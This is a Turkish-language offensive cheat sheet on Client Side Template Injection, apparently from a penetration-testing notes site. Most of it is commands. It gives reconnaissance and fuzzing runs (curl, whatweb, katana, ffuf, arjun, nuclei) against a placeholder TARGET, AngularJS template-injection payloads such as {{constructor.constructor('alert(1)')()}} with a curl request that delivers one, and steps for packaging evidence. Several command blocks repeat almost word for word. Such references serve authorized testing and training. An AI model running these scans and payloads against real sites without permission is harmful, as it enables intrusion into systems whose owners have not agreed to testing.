Client Side Template Injection (CSTI)
web offensive
Client Side Template Injection (CSTI) web saldırı yüzeyidir. Giriş noktalarını izole edip kanıtlanabilir etki (okuma, yazma, RCE, auth bypass) üretmeye odaklan.
Metodoloji
Section titled “Metodoloji”-
Client Side Template Injection (CSTI)giriş noktalarını (param/header/cookie/upload/API) haritala. -
Hedefe özgü payload ve araçlarla hipotezi doğrula.
-
Okuma/yazma/RCE/bypass etkisini somut kanıtla.
-
Zincirleme senaryo ve kanıt paketini tamamla.
Hedef yığını, endpoint’leri ve auth sınırını netleştir.
curl -skI https://TARGET/whatweb -a 3 https://TARGETkatana -u https://TARGET -jc -d 3 -o crawl.txtffuf -u https://TARGET/FUZZ -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt -mc 200,204,301,302,403arjun -u https://TARGET/api/v1/item --get{{7*7}}{{constructor.constructor('alert(1)')()}}{{$eval('alert(1)')}}curl -sk 'https://TARGET/#/?q={{7*7}}'Operasyon notları
Section titled “Operasyon notları”Client Side Template Injection (CSTI) sonuçları hedef sürüme ve yığına göre değişir. Her başarılı adımı request/response ile kaydet; sonraki pivot’u not et.
Ek komutlar
Section titled “Ek komutlar”curl -sk https://TARGET/robots.txtnuclei -u https://TARGET -as -silentffuf -u https://TARGET/FUZZ -w /usr/share/seclists/Discovery/Web-Content/common.txt -mc 200,204,301,302,403GET / HTTP/1.1Host: TARGETAccept: */*mkdir -p evidence/web && tee evidence/web/notes.txtBu ekler keşif ve kanıt paketini hızlandırır; asıl sömürü üstteki bölümlerdeki konu-özel payload’larla yapılır.
Ek keşif komutları
Section titled “Ek keşif komutları”curl -sk https://TARGET/robots.txtcurl -sk https://TARGET/sitemap.xmlffuf -u https://TARGET/FUZZ -w /usr/share/seclists/Discovery/Web-Content/common.txt -mc 200,204,301,302,403nuclei -u https://TARGET -as -silentGET / HTTP/1.1Host: TARGETAccept: */*Kanıt toplama
Section titled “Kanıt toplama”mkdir -p evidence/web && tee evidence/web/notes.txtrequest/responsezaman damgasıkullanılan hesapetki özeticurl -sk https://TARGET/ -D evidence/web/headers.txt -o evidence/web/body.html